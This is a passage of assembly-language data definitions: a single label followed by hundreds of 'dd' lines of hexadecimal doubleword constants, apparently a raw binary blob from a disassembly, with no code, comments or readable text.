116A3F1Ch dd 5F72321Dh, 82A24000h, 9D16E268h, 78A6007Eh, 0E1451A8Dh dd 0A8F081FEh, 5A00F492h, 6E84422Ch, 2AA191h, 165C2D1h dd 295FE9C7h, 0DE634700h, 59BEAA5h, 0D21906D4h, 0E0480A35h dd 0FA74BCF8h, 8D00CCFCh, 0C988A7F0h, 74FE192h, 5D7C8C85h dd 5CC820C2h, 4E01B34Ah, 0F70D34A6h, 0F8200AE0h, 2131884Bh dd 0F6FEAD00h, 82DC398Fh, 0E4FF87Ch, 706096CFh, 0D6B5ECC0h dd 1E3F9D9Ch, 0B0049C64h, 950919D7h, 0DD1CA3DEh, 9ED9158Fh dd 0CC15DCD9h, 9218B0D6h, 12C294Dh, 34EEB490h, 529EFF09h dd 4640991Eh, 0EC852A10h, 0F6EE0800h, 7243BB6Eh, 0B86B007Dh dd 0AF377E56h, 0F500B1C6h, 0B5023047h, 71F0C91h, 2262816Ah dd 0FAC253AEh, 2C485292h, 3C144130h, 794FFE4h, 4E2EEB8Eh dd 0D3191D21h, 0A3E070h, 0F7529ACCh, 5E37F3E5h, 7C57A705h dd 90163216h, 1EA80020h, 8742006Bh, 282E0AC9h, 48B1E567h dd 64402B64h, 0ADEBE39h, 9FD811C3h, 0CAC79940h, 4CC8EF0h dd 7D8296E8h, 0EB3480ACh, 8A17838Fh, 4C5248DAh, 0CB476840h dd 7AAF3Bh, 0B02DF0D2h, 9CB71279h, 0E0024FCh, 0C6A9DE36h dd 28CAE318h, 3BC1AECh, 820344E1h, 10017DD1h, 0F0D455CDh dd 0F16AEBD8h, 0AFD40085h, 61007E52h, 1D2362Eh, 15DE24h dd 12486356h, 0A1AC203Eh, 0A9BF3800h, 0A60D1B8Fh, 432900D2h dd 76EEBC6Bh, 0A838AC06h, 57D98C9Bh, 72E5B8ADh, 38BF00DFh dd 97068A92h, 147315D0h, 0A7C1FE1Dh, 6D2E0BC0h, 7E84C9F2h dd 4508001Ch, 7DF01486h, 760E8CFAh, 81A453F8h, 0E4714C2Eh dd 3E4DD1F4h, 0E0808F80h, 0D97A4F11h, 22008627h, 0D157076Bh dd 75833B01h, 88FC004Bh, 0E8EE4C8Bh, 0B2011D4Fh, 3F6504B5h dd 37300568h, 0DF350BB4h, 2F05711Ch, 0D5BC001Dh, 5010160Ah dd 0F113D600h, 667CB485h, 0C3241D2Eh, 0DD62C2EBh, 0E76016C2h dd 8A009474h, 8805F24Fh, 258D0F50h, 0D400FFE5h, 2A16BD44h dd 0DE60300h, 0E36D2F5Ah, 56A03EE0h, 0E2641500h, 0B1064621h dd 0AC73900h, 0E0909B1Fh, 6E76003Dh, 0CDFDF163h, 0F37E6918h dd 790BF512h, 0A0E42400h, 4C7F40BBh, 0C71874D8h, 72ED1811h dd 5E97B700h, 765A67A1h, 166E007Eh, 0D53EAD5h, 0A905BD0Bh dd 2A3BF190h, 71140B0h, 52B94539h, 0E9015067h, 0C400D544h dd 684C8016h, 1D7B23BDh, 0E7F7E402h, 0F66CACA0h, 0ED09F5DDh dd 0E069EA38h, 73749FFCh dd 0AC9C50E2h, 2E17132Dh, 0E6809241h, 0C6608CE4h, 1A3D29B1h dd 359A1E59h, 3A1080D3h, 0CA8F556Bh, 5AA92007h, 0E8B01842h dd 9051E33Bh, 77903F28h, 3ED4FBA8h, 4102F563h, 0EDC574CEh dd 245C64ECh, 812E7180h, 8D262CD4h, 0E4098A1Fh, 207C0E5Fh dd 5C4DA23Ah, 4400262h, 0D11EC936h, 49D76468h, 87752802h dd 68EA1632h, 265205F4h, 966C61C0h, 9940409Ah, 0B1CDB090h dd 60FF8900h, 6C568FC1h, 445900F0h, 20710997h, 0E800F3CAh dd 0BE027857h, 0E0DFAB11h, 60210090h, 0D68CB12h, 0B7030E94h dd 0B06A8E3Ah, 99A80950h, 34097CA4h, 0A0217805h, 0BA0ED93Ch dd 5C6034EBh, 6A7326C7h, 0BC0095F5h, 0DEE06101h, 195201F6h dd 8A829427h, 2B7C7412h, 0A618ECB0h, 0C860AF0Dh, 0E89500D4h dd 402C5831h, 83DC44Dh, 1FE483D8h, 0D8696DAEh, 0BD9BD0h dd 0A039F977h, 6BBF1D53h, 65FDB600h, 79B5ABF5h, 16471EADh dd 0E85486A3h, 9B0070C7h, 0DFF1E331h, 0B675EE96h, 7F3003Ch dd 658DB829h, 10E2FA2Bh, 6C59F910h, 98CBAB03h, 80C997Dh dd 181F3EA1h, 1BB7C9Dh, 0FAB6494Fh, 20D2865Eh, 83031B86h dd 0D82FFCF6h, 7FE7F0ECh, 8D4B00EDh, 0C395FF3h, 820034E6h dd 607665E4h, 0E0A405CFh, 5EC50075h, 0F466147Bh, 0CDF8E32Fh dd 0C9C30278h, 0C1F9E2C9h, 3E2C2C8h, 0FFD36B67h, 299BA802h dd 780EE4E3h, 6CD300B0h, 0F519194h, 780098DDh, 197583A3h dd 18BDE2D9h, 49C35D85h, 260BB499h, 50860Fh, 1ED8FBF2h dd 0E5FF00EFh, 0D903A437h, 97004DC3h, 2F1C191Ah, 2A68EDB5h dd 1C98748Fh, 0BE039131h, 0BA8918FBh, 1204196Dh, 80C9E93Ah dd 6F313C5Ah, 18BC2A4h, 9268E7BEh, 8499C1B6h, 0ED1386C0h dd 0B3034EC0h, 35378C3h, 27247AFDh, 5100C68Eh, 8B39B0F2h dd 4D0491h, 0D2B4F477h, 0FA0CD359h, 19FF0A00h, 4FC66C6h dd 3FF09Eh, 0B392F66Bh, 5C0C75A3h, 4492A5F4h, 0F43CD57Ch dd 0E1470040h, 0FB4BEFADh, 0CD774Dh, 0EC963017h, 785E1ADEh dd 7840D44Bh, 7BEE3AEBh, 92AD001Dh, 5FD0AAACh, 417822Ch dd 0D5038A41h, 305FC14h, 0F7452931h, 0ABD00BEEh, 7E068508h dd 17EDC7C2h, 0A25A0089h, 6A66EF31h, 0BB2EBFCAh, 0A4067084h dd 0FF978AFh, 0ABE5E452h, 777E6Eh, 25D7F18Bh, 0B3006BA0h dd 849AEB08h, 13BE27h, 79E86205h, 0BBD709Fh, 9C2D4B1Ch dd 0F9D03B40h, 0CC8BA41Dh, 7221B108h, 1703877Fh, 9650FE73h dd 0A3191293h, 9FEA104Dh, 7814351Bh, 0F8766BE1h, 6E06C69Fh dd 66F159EEh, 9C4C3308h, 0BE0BC20h, 5307FBCBh, 13985007h dd 0CC8CD61h, 0B7C84C4Ah, 1BC7CFC0h, 4895399Ah, 13BB08FEh dd 40116236h, 0E20B7582h, 424CFF88h, 4B009DA7h, 3AB60B6Ch dd 0E0803942h, 0BA1D1EB7h, 3D77E9EEh, 6DD4739h, 626D9450h dd 5DA80680h, 40AA45CEh, 591E4219h, 0D0F0AB18h, 9679C071h dd 0BB94219Dh, 555DD00h, 881D4772h, 73BE815h, 136564D1h dd 77243162h, 161C40FAh, 2500F7EBh, 0D4B602C5h, 7612643h dd 8BACC778h, 89DF8606h, 4F01AB07h, 0E4B9293h, 6909512h dd 0AAD65DFAh, 2F423CE1h, 5426316Eh, 0C6016808h, 0B3BE7C55h dd 29CD67BCh, 0C2428CDCh, 0D77DF429h, 0D136E60h, 56A2510Fh dd 0E467EBAh, 69A966h, 8D0AEADCh, 0D422A18Fh, 2CC6233Fh dd 0D3166677h, 554C1D00h, 1D639EAFh, 32FC0BDh, 16B36C7Ah dd 209AB5C7h, 0C8E4909Ch, 0E1357D1Ch, 19E3A1C6h, 215C6008h dd 0BAC8EC99h, 29C05D00h, 52623725h, 0AFB51C97h, 59AA4C71h dd 8F00DDD9h, 0CDD28765h, 3ADA4C46h, 2430415Dh, 65E71321h dd 0BC83EA00h, 0E17FDFDDh, 0FEEB005Bh, 55A6929Fh, 570227D7h dd 0E8B24349h, 93CC87FBh, 82B635D2h, 8F41B10h, 0DAAB8084h dd 4CE08AC0h, 5B73C318h, 4992E228h, 0C29C44E9h, 7EC6E10Bh dd 4E13A331h, 0D4F010FFh, 6E00A0E7h, 0CF39ED9Ch, 3493732h dd 0DFAA13BFh, 0F806A3A2h, 0EB879D54h, 80ECA018h, 0C04B7039h dd 310C2610h, 0C103C84Dh, 1E1A449Dh, 93528815h, 54D51DEAh dd 189C8007h, 4DFC1F6Ah, 8B36B300h, 0C579569Dh, 1B571D9Eh dd 0D6AA83BDh, 0C4D8CE60h, 2B074651h, 0ACC0F475h, 10C8E650h dd 0ADD80082h, 7A3FA0A6h, 800076A7h, 2A70A39Dh, 0EEB93847h dd 0F58D00C8h, 97363B4Ah, 0E600756Dh, 0C0086C2Fh, 0F97B2Dh dd 0D284A88Ah, 158B2E85h, 0DAF2EA0Ch, 76B338F6h, 0DE350046h dd 340A766Ch, 7A006A87h, 0DB1D8F90h, 0E214D6B7h, 6FB258D1h dd 0FD056F03h, 49C87D35h, 7A0C56A4h, 302395D7h, 1BF30022h dd 0F6F7DB43h, 0AE0329ADh, 0FE93FFD4h, 20C4C088h, 6399058Fh dd 6D9CFBh, 7EE0DCDAh, 420083F7h, 0D6A2ED97h, 6F4326h dd 884010F4h, 0CD509A7Fh, 68F72C37h, 89787011h, 8520A094h dd 3E41007Dh, 969E6A2Eh, 2D05838Ch, 0E244B23Fh, 75F67A80h dd 0A4E64Ah, 41189925h, 0BBAF6B92h, 142AFD3Dh, 10C393Ch dd 0CE5B24BDh, 488BBA9Bh, 5A039C75h, 95E0557Ch, 0F8E811F6h dd 0B144970Fh, 280CF67Bh, 60E0412Dh, 64C71983h, 601C793Dh dd 2707CC9Ch, 1433C27Ch, 89B7A02Bh, 6C7D18A4h, 41F7E097h dd 0AC85B400h, 9FD26EF2h, 0CE480287h, 0B7FEAB8h, 9BD9B360h dd 66DE6B07h, 0B3764CE6h, 11D0B721h, 90F08100h, 0A67E30F7h dd 1F410F02h, 50D88AB7h, 808692A8h, 68CF2288h, 112848E3h dd 7DF2472h, 597B3300h, 0EAA6F48Ch, 11E60021h, 17A12C69h dd 0D93749DCh, 0A10F3081h, 9FDD60F9h, 0E8CA1080h, 12788E65h dd 6BAC0307h, 0D6460288h, 0E1250021h, 0BCA55A65h, 2E076F18h dd 0F7F5351Bh, 0C562C07Fh, 64A7A67Dh, 809630EAh, 0BCAE6FEEh dd 6802D328h, 190E656h, 0D90475F0h, 68524F53h, 0F829204Ah dd 12184075h, 99595FC6h, 0D455001Eh, 0D0C26F46h, 4A001714h dd 1C39B8C5h, 0A64D5A1h, 2E73ABF2h, 0D2E900A8h, 0F0B93CF9h dd 964C38h, 5D226713h, 303848EAh, 0FCB8C0F3h, 0D37FD590h dd 7838247Ah, 23AF0260h, 40CFF958h, 4F3D6DFCh, 942BE06Ch dd 7FC9E600h, 1FB19EDCh, 0F7C107DEh, 3080F995h, 55EB1120h dd 96F6AD00h, 0B039C05Eh, 371901E1h, 9CFD0A84h, 18A2F488h dd 0E94AA00h, 3AC0B5F7h, 1EC6ECC7h, 81B4D512h, 6DFB15B7h dd 0FAE8FCD1h, 2CBD1000h, 217E63E9h, 0CFC80022h, 0EC6A1704h dd 8006825h, 419C78DBh, 0CA57A9AAh, 55049610h, 0FA8BD86h dd 0E3940010h, 1A03494Dh, 0D300F0A4h, 0A89C1DA1h, 0E8A4EC2h dd 9A78EE74h, 0B16D5B40h, 0C400D963h, 4CDA2FE4h, 1F07BBC2h dd 17A8Bh, 0ACD0AFFCh, 0BD00B629h, 1FDCBE4Fh, 484660F3h dd 3300C1E4h, 537C51F6h, 68002F05h, 9A198D52h, 1CAF5D88h dd 801DE26Fh, 0A5178502h, 0DF00C14Fh, 8814D34Ch, 9E3C8h dd 950C077Dh, 8728A13Eh, 8C805603h, 0E8054E36h, 4D51E2h dd 0BE48C8DDh, 498D6F8h, 6C684A03h, 0C0807409h, 28BF762h dd 0E4E0F272h, 0CE60C366h, 0D0006D1h, 363102A9h, 398ED6CAh dd 9480C70Bh, 4BC896E9h, 0A2016ABEh, 0EA2F41E1h, 5EC45292h dd 8E0400A3h, 0F6249475h, 47000921h, 39BE6D55h, 0A03AEF7Bh dd 5776B4h, 881E7061h, 4D52DA97h, 501D5F90h, 4580FE63h dd 205A5F84h, 0FDD23940h, 0A339BF8Fh, 0AE00DCF5h, 0E49B6655h dd 0C0199BAh, 0F6936153h, 0ECC31A7h, 14F80027h, 6FC8B7B9h dd 85001907h, 52EBEC97h, 0EC31EFBh, 616344C5h, 949CD018h dd 0F08DC900h, 2D230F9Ah dd 6350737h, 6052FF65h, 4B0D27B8h, 0B208C203h, 0E8E073F4h dd 0D48489h, 108C2551h, 5D3C2A6Fh, 0A9F84C00h, 32E55FEFh dd 0D8560099h, 0C1B0FFD2h, 0A5395CF5h, 554F803Fh, 0C31B6FFCh dd 4E320F41h, 89E0AAC4h, 1F378F97h, 6E34AE02h, 819610A4h dd 11CBEE4h, 4CE231CCh, 0A904AA4Ch, 807BE0F1h, 0A7D80BD8h dd 0FDC07A00h, 0BAE585BCh, 9F291F18h, 8831CEF3h, 607C4F80h dd 774C27A6h, 2C42581Bh, 4300E7CBh, 0C694DC64h, 0B37B5Eh dd 0C7B3CABh, 321A9C05h, 8215F800h, 6AE0B7FEh, 0CA1013D0h dd 93C50009h, 924D946Eh, 6BF5C726h, 0BB0B4A01h, 8EE0FBB0h dd 43E214C2h, 110EDC6Dh, 74202D19h, 0D6BF0CABh, 0C2908FEAh dd 30F1B001h, 0D8671E65h, 0F400824h, 13AADCEBh, 0CEB27AC0h dd 5F0020F2h, 6146124h, 21CC433h, 0F7393B9Ch, 6FE0A4AFh dd 0EC003FD1h, 442704BEh, 4D7093FAh, 570020D5h, 0ECA3153Eh dd 13247AE0h, 0E00639Ch, 2191A5B6h, 8978C0DDh, 0B75EBDBBh dd 330024F4h, 0C5462E53h, 9026D047h, 20273B3Ch, 0CC805C48h dd 511F53C4h, 73883E50h, 70625D30h, 7B02DFh, 0AFC7AB27h dd 8112E5A7h, 0A8F03100h, 2ED6B821h, 0D80A172Ah, 456A0003h dd 23516236h, 7D7E0098h, 0CB4D5F00h, 0C2780C32h, 94D400E4h dd 6CEBA2A7h, 80003BF6h, 4FC5735h, 0C02775DAh, 7D8BE030h dd 6B001BD2h, 78FAFEA7h, 288E52h, 0CD386D40h, 87DB80E7h dd 8036C328h, 692E5800h, 126778FEh, 8F080725h, 0D019C4A1h dd 432DE26Dh, 72B92F16h, 0CC660000h, 237B61Bh, 241F5EFh dd 8A80DB21h, 87B3FFBEh, 3E540107h, 9E5038B7h, 0CA2253h dd 9C460A16h, 0DE1B1D5Eh, 17CA94Ch, 0E7AB8763h, 3C2072C9h dd 48DC0045h, 0E3842D6h, 6624AD24h, 31009451h, 3464F27Eh dd 0F179020Dh, 5D078A7Bh, 551AB487h, 6F1C084h, 0D20044C8h dd 5724ADEBh, 6E985Ch, 5F2EF3E4h, 28C514A5h, 0C878D400h dd 0B3B2F08Eh, 26CC00D8h, 5AB13B94h, 540089FDh, 0B577C6DDh dd 1DFF3450h, 0C0AD35EAh, 44C98B78h, 0DC05C51Ch, 5CB67BDAh dd 0EAECC0BAh, 3492D6B3h, 0E81BFF00h, 0C4542747h, 0CF3503A1h dd 4172E2BAh, 5AB73C0h, 82AE180Eh, 6A4D008Eh, 0B8DBCD59h dd 3CB4E0BDh, 5D0051CBh, 0B742DDD2h, 0C500AE55h, 57A53D38h dd 9894B68Fh, 5B43CADh, 0CDB2A382h, 68C0C1E0h, 87000BECh dd 5BF87D16h, 9F1E2F7h, 94CB5937h, 0D2E75820h, 0B3001AC1h dd 4F7702BBh, 6E2ACh, 91B28916h, 6BB943CFh, 85360509h dd 5F3000EBh, 0D270D4h, 0CB9387D7h, 0B8436296h, 49F640C0h dd 32171Bh, 87C565C6h, 0F1DEE244h, 97840300h, 0F24B81BDh dd 7D6900CAh, 0B9632005h, 0C8004873h, 2A2CA5A7h, 774AF7E7h dd 0CC9450FCh, 68B9006Ah, 0E3D87493h, 0FB00E596h, 0CFE07CD6h dd 7414110Bh, 0BC7201C1h, 8EA64819h, 852880D9h, 3930A06h dd 602400ABh, 82517299h, 0E24CBD43h, 3681040Bh, 18880529h dd 0DC6D0579h, 806057C0h, 6ECB750Fh, 35C30E02h, 60EDD9C9h dd 0C987927h, 0D586EFF3h, 0B4003B10h, 0B0418BA3h, 0FC74EBh dd 7B16C13Eh, 0CFE1BB36h, 0C7644500h, 96BF61D7h, 0CE28012Bh dd 0BA1BDADEh, 0D619F431h, 27E9EF1Dh, 2B856AC0h, 721423h dd 7B96FAB1h, 0EE5ECD98h, 43E04001h, 381DAC87h, 6F0BCCh dd 0AA244ABBh, 52F2B8ABh, 5E66FD01h, 2568A488h, 2C89CECh dd 37721A1Dh, 0AE60D367h, 0A67EA571h, 0D0B34F00h, 0AE3D26A0h dd 0D3100FFh, 3A322CCCh, 615D0E3Ch, 0B599138Ch, 7D4DFA00h dd 2305B7h, 4FC3FD45h, 6CB165A7h, 15CA6200h, 0E026538Ch dd 0B27618C5h, 0FAE68050h, 24EB6824h, 1F17C181h, 8CE4E2B7h dd 3B3FEEAEh, 0DA859978h, 81060E74h, 329F4A59h, 9B95029Ch dd 406F9AEFh, 3160FA6Fh, 0BB990B15h, 0CB1440E2h, 0D233EBE4h dd 0A0D008C8h, 679B257Eh, 36152158h, 0F503390Eh, 0A324FD8Dh dd 7282A02Dh, 0A2CE000Bh, 0D1B741ECh, 6100E403h, 0E32B6684h dd 38395E8h, 7E191080h, 0C1E06217h, 200F33EBh, 0F4BA6021h dd 0C8FA0CC5h, 77A36063h, 7EB011Dh, 0D1AC5D37h, 8BDBD1E5h dd 0A0454110h, 6B8685Ch, 4D900021h, 0D1BAF887h, 50057BDh dd 0D56E3A7Eh, 0F2B89AC7h, 0F96FECAh, 6CB56F34h, 698C4DC0h dd 3B004C17h, 0C27DB9DFh, 0D00AFCh, 0F65E16BBh, 0C35DA092h dd 802F7638h, 598A97DAh, 90B88F23h, 8598BA59h, 0DE40FD04h dd 1BC1066h, 53FE7718h, 81FDEAD6h, 90C12E20h, 31804360h dd 9E1AD868h, 0FD0CCDA3h, 83DBB5Ch, 0E621C005h, 3C31AEBh dd 9CD29C3Dh, 0B2977D34h, 70A9BE01h, 10389742h, 35594A0Eh dd 62BFE602h, 990D100h, 6EC10EB0h, 9DC04BC3h, 7A38A813h dd 0D8A14A00h, 8F02DAAEh, 0CEEB0E6Ah, 0D107B86Fh, 2D1DC0D9h dd 5E00AA7Bh, 0EC9C01A0h, 64099Ah, 0CA61D0CEh, 4175C94Fh dd 0A9025B0Eh, 93D180F7h, 0D8EB57h, 0A1C5CD61h, 1D47CE4Fh dd 18495A58h, 0BFA89488h, 0F13C0050h, 0B24A694Eh, 0D019BA5Bh dd 0E3C98DABh, 1D25D0h, 0ADB007ECh, 22549F81h, 0C6D09600h dd 0AA5F7FEAh, 3677EEDh, 60A0E051h, 91F93B88h, 0B7C0505Eh dd 75195AA9h, 0E3807FCFh, 0C1788992h, 0ECA19EC8h, 0F47F1321h dd 0C0571E03h, 0C5DCB34h, 0BFAD7341h, 10E2BB1h, 378BC2h dd 59C922B8h, 2450005Ch, 0F503E7A7h, 0A33055BEh, 29BB318Ch dd 5EB9166Eh, 0FB7D0F3Ch, 8943B2A3h, 11C62103h, 8C579F7h dd 0A99AF438h, 6BC8E498h, 4A680A3Ah, 80E45AE9h, 1B11BA36h dd 14B08CC8h, 0C8961028h, 3C03B5Dh, 0FF118294h, 8DED8991h dd 0A83A97h, 0C9983E1h, 18905D9Ch, 0E15CB730h, 1CC87Bh dd 48D31D6Bh, 0D14F105Ah, 0D9569200h, 2ED517F9h, 0B29E1D87h dd 6E054A58h, 2060969Ch, 596CDE98h, 95B3FC00h, 7D8E435Dh dd 506E02F0h, 60D37963h, 0E9A82448h, 88004B4Bh, 721068A0h dd 460103F2h, 73231164h, 0C45885D9h, 0A091A8EBh, 0AF0B8B00h dd 41CC033h, 0A9F7092Dh, 0BB4882D9h, 185B68C0h, 5557E116h dd 83BC4D10h, 0EA3E886h, 404A99A1h, 200DC907h, 0DD347706h dd 5A15F0A6h, 78A0312Eh, 0FE1D10Bh, 0C9500CBh, 0CA73EECh dd 0A6F748Ch, 0C1003851h, 89E88150h, 1B34DC0h, 42ED7A65h dd 0D1C59A85h, 0CCE4508Eh, 0EB781479h, 5C747C1Dh, 0C5B51040h dd 30920E12h, 0CA983DD7h, 3105C8F6h, 0B29B3423h, 0F8B1940Ah dd 1D800D9Eh, 0C783CD16h, 5380A023h, 304B9E3h, 0F19D3B73h dd 0C84B1832h, 0B06A2154h, 34885187h, 0D67042D0h, 150EC444h dd 0D21E97B2h, 84ADC40h, 90CBC9Dh, 0B6B893EBh, 3151E431h dd 8108140Ch, 4ADC2E10h, 84D38F14h, 0A48843AAh, 226B1F84h dd 9A053D21h, 0C27D2A37h, 0A446DED0h, 26CD80A1h, 5A0875E4h dd 7097CE4Ah, 13F6B69Dh, 0CA0FA700h, 0A1872560h, 0A9D72085h dd 0A0A85700h, 848EE24Fh, 777F2409h, 10C51414h, 91D24B06h dd 0B8127156h, 1F003855h, 8E93E962h, 60ABFCBBh, 20E1214Eh dd 21000B17h, 897FF177h, 9E683E4h, 85E85BA6h, 8A82D8E0h dd 0B71DD507h, 0AFB11573h, 0DB20AB4Eh, 2E440C27h, 0E851B2CBh dd 44AFA0Eh, 37D06056h, 3183CDDh, 85B9019h, 0BDE1D4h, 7E74828Ch dd 0AA8057E3h, 47450F61h, 209AD1D4h, 0A0443042h, 2FC7EB00h dd 253DD699h, 0C1ED0088h, 0EF940D39h, 0F7055068h, 0B10B821Bh dd 5376280Fh, 0D84AD033h, 0F48511h, 13179C62h, 0A041CBA3h dd 0F96A1000h dd 1E6033F1h, 2FA0A0FEh, 66B000FFh, 88FF289h, 1F008A67h dd 0B6DFBC8h, 12168626h, 257D77h, 62A5AADCh, 76546F79h dd 1890F4C0h, 405D0900h, 554B8FBAh, 4F130470h, 0C05A740Ah dd 0E2F7E35Ch, 0A21F0D73h, 6C64E9ECh, 395AFB80h, 1B0BDD1h dd 3489E24Bh, 0D17FF3EFh, 9422C0C2h, 8C4AE4Dh, 3B9B38CAh dd 0F99454h, 764CB593h, 0D31026BEh, 0D0115C16h, 0CA01DB03h dd 0B890E4E9h, 0A1423CEh, 12B17D31h, 0F97104CCh, 0E9BB00F8h dd 32AEFDC2h, 0EF58E01Bh, 106F4461h, 0D4E67A8h, 22EB7A5h dd 7A88F0B9h, 7530A090h, 99D62977h, 0A85004DCh, 91624080h dd 807475A8h, 19BE421h, 4D340B71h, 863A9882h, 0B28C5E26h dd 5DDC808h, 9D0F02DFh, 431CA7A0h, 93D18682h, 0A0ABC2D8h dd 24743A80h, 85AF0091h, 444D8427h, 0A43E9C2Fh, 5D10039Ah dd 3A6FE4h, 0AB405E81h, 0B12255C1h, 0F5597D18h, 26D7DB49h dd 93649EC6h, 0D0B4043Bh, 80AD0BA3h, 4D572878h, 44B10Dh dd 9729CF7Eh, 771D0578h, 6D58BB02h, 1035A058h, 185DDEDBh dd 4838B247h, 0F7A08854h, 353B131Fh, 159063Ch, 29499CC0h dd 1CC0224h, 689B19B8h, 1B1848B2h, 4BEFFD00h, 9752D114h dd 0C7C0C090h, 35BBA8CAh, 4F4A2400h, 3CE194D9h, 452D0402h dd 81826DF9h, 705355C5h, 0FC1208E8h, 0EF000154h, 96D75223h dd 1202EA8Ch, 580B3363h, 6864B8C8h, 6DC8B88Bh, 0E09CA9B6h dd 35B29F10h, 11953D35h, 0CCF70C03h, 85108092h, 1C602A94h dd 0F06400DCh, 9FA716DDh, 0B6075FA6h, 43652E7Fh, 74F7E481h dd 0CE7CCh, 6F130245h, 6120BFD4h, 21F2980Fh, 0A0B8818Dh dd 24F44B17h, 4E080E58h, 0C1601D8Bh, 3E788F13h, 0ADF34Ch dd 0CE02A938h, 778EC2A5h, 9DE73EBh, 62AE866h, 15D76840h dd 4710C142h, 1A5FC07Ah, 8CD5A39Fh, 913344h, 0D66F1AAAh dd 2B1639BCh, 0B1D72E16h, 0E29C420h, 4335178Dh, 65804F20h dd 0C050AE83h, 7B0F4078h, 0A1A8156Fh, 7E0CB675h, 4BFE6065h dd 144A8048h, 6A2B0058h, 0A829181Ah, 67803A73h, 959101FEh dd 354A40ABh, 0BA38CCE8h, 2EBB9801h, 0F0242625h, 0F8991280h dd 9352D9DAh, 8406C90h, 7FA9C342h, 0A11310ADh, 0FC4B82E6h dd 0C2AB80C9h, 0F19F3Ch, 0D6FB9213h, 0FCCED405h, 7AB1DF0Ah dd 3B9DE81Fh, 0C686E245h, 0C3C1C087h, 0F8D0DBBFh, 70CE001Eh dd 0EC5611A8h, 2C0F8305h, 0E760FEB8h, 86C15D6Fh, 0A85204E3h dd 0E84450h, 0E86D98D3h, 9D848D10h, 5D871600h, 753A42B7h dd 7BF00211h, 0A60D8EE3h, 0AC379842h, 0F02F6BCh, 49BAD2Ah dd 7E2C6475h, 0A1AF00A0h, 87FB685Dh, 474CC337h, 5092404Eh dd 82718503h, 0E011B3D5h, 1F3FAE2h, 0DEED8978h, 34834587h dd 0D09992A8h, 0C3593000h, 3BEA3FAAh, 8F803D27h, 4923B375h dd 5A012A8Dh, 3C67946Ah, 0FC72DC82h, 1A05B00h, 0C5C11228h dd 0D560B496h, 0F6A3991Ah, 1C6086FAh, 1AD07BC1h, 41504A89h dd 0E8DA78D4h, 0D8B0D082h, 0AC794D00h, 4C1A7355h, 0B0F8600Eh dd 0E988BF62h, 99B2D912h, 0DC71440h, 3A02A1B8h, 74BCA69h dd 0E40CA3FCh, 1B08C048h, 2026F8F3h, 50001495h, 0E4D1AA75h dd 206A60B8h, 0EBC09B94h, 0A2525190h, 8461C220h, 2C591A90h dd 36183379h, 0AA9C3907h, 4899F8E0h, 0E8762840h, 0F2D30077h dd 844F1A96h, 561F6BFFh, 695753B8h, 6723D43Ah, 3F6B2400h dd 92DEAC02h, 407B4A88h, 3968B7B0h, 55000347h, 63A52366h dd 1F57B4Fh, 0F6D3838Dh, 30FAE00Ch, 68252EE4h, 2590984Bh dd 0C8DC0811h, 0D64EC94h, 11ADD540h, 0EA5C86FCh, 5D998EFCh dd 9F7A2780h, 2E1309h, 0C84C436Fh, 0A43FDD2Fh, 3BF528C2h dd 0D27490D9h, 0CF6E115Ah, 214D8CF7h, 38457BF1h, 38EBF36Fh dd 8C054A0h, 0AE0015CDh, 1188F9EBh, 5EB6BAh, 57CFD889h dd 3CD53FAFh, 6E002EFCh, 2DAB298h, 8A12708Eh, 18AC8449h dd 46153571h, 92D8621Ah, 1444DA20h, 0D9EA70h, 1B45758Eh dd 28B66DBh, 204C2A06h, 0EA169A8h, 4D618AE9h, 87887840h dd 3702B2F3h, 1E7C1A7Ah, 3DF16132h, 0D278A087h, 3807F996h dd 0D160B809h, 21A39D1Ah, 78A4FA65h, 1ADC4F40h, 3451058Bh dd 33E10CAAh, 0CAE8E7E8h, 55775483h, 69E1C460h, 99A6ADh dd 0B564ACB4h, 0BB55BEF3h, 0B321C165h, 376A488h, 0A1882064h dd 0A8AE3B83h, 7B230343h, 0F81A1B09h, 4454848Ah, 0D600B569h dd 5BA3E21Ah, 9CF444h, 6564BB4Dh, 8ED48993h, 1A83C004h dd 9888E377h, 9F6D002Dh, 7B8B105Dh, 7254AB22h, 0BC1D82ACh dd 0F94E9367h, 0E419E06Ah, 0E8BF17h, 0BAE7C628h, 0D7996B4Dh dd 0FE85DCB6h, 0D70A7536h, 3E958882h, 78D053E8h, 0E304B3B0h dd 91C6FF2h, 4231C99h, 0A30C0A2h, 60E400DAh, 0B021478h dd 21D95130h, 19C650h, 3DA39090h, 48C42C99h, 0BE440481h dd 9BB4DCh, 7BD24A7h, 88084183h, 0D3E4F60Bh, 0E3C8A737h dd 0D400B0A5h, 8D727520h, 0D38A098Eh, 0B080ED01h, 0B781DDB1h dd 87EB5000h, 46C30344h, 0BF9B035Dh, 67213CF7h, 0B4EE40FEh dd 4C00CCEEh, 0D017D18Ch, 260954E8h, 9158066Eh, 762E9CEBh dd 0C547CF09h, 58978F2Ch, 92D3BF60h, 0C70AD987h, 0C050E9C0h dd 3E00659Eh, 27C92D6Ch, 30D476DEh, 1D0EA647h, 55126BF2h dd 0DC32C18Eh, 156E30A7h, 9D215F7Dh, 8F91BCh, 0CC2BD91Bh dd 22891Ch, 0BFAFF990h, 631A0665h, 8308D14Ch, 0CFCF7CB9h dd 0C40415A0h, 0D4862C44h, 0B98949C8h, 0C9964A3h, 5BDFC388h dd 3632AD00h, 0BB16CCB8h, 68425986h, 5B4260F8h, 613B991Dh dd 402010FAh, 739043BFh, 0E4831C9Eh, 8BF5BC18h, 92C8F843h dd 631F17C6h, 0E2BC20E8h, 0BA003E4Ch, 2188B12Dh, 0F2BC1FA8h dd 18752A93h, 7B90098h, 1641E123h, 0B8029152h, 63CD7EBDh dd 50D2E5h, 44500F2Fh, 0DAA7BB88h, 64F67E00h, 5C53101Fh dd 92901D8h, 0FBA07D1Ah, 0CF041EDh, 34833C2h, 0D52E3C66h dd 538B6Fh, 954E4B79h, 69A918CFh, 310F4090h, 0E0F473C8h dd 0C38B0480h, 5C57E423h, 3B009A2Dh, 2E6A337Eh, 6030C979h dd 394F490Dh, 62A81FFDh, 6D118066h, 59D772FCh, 0FF1A9B01h dd 0FAACA15Fh, 5B80B83Ch, 0EDFE7783h, 3AE26500h, 0AD26D635h dd 4075D3h, 7405F069h, 8C52EBA8h, 20A3EF00h, 0CB2E07D7h dd 0D2B5001Dh, 8A50ADAh, 4200A981h, 2C2D4F6Fh, 0F8D7149Ah dd 0F484981Bh, 64D00134h, 6AA924B2h, 4069F4h, 66A4597Eh dd 3B30342h, 16BD97BFh, 0ADD073CCh, 0A8075CCFh, 0BAC2A927h dd 9EBB6CC0h, 0B38E001Ch, 0FBC415E5h, 0FE3C9962h, 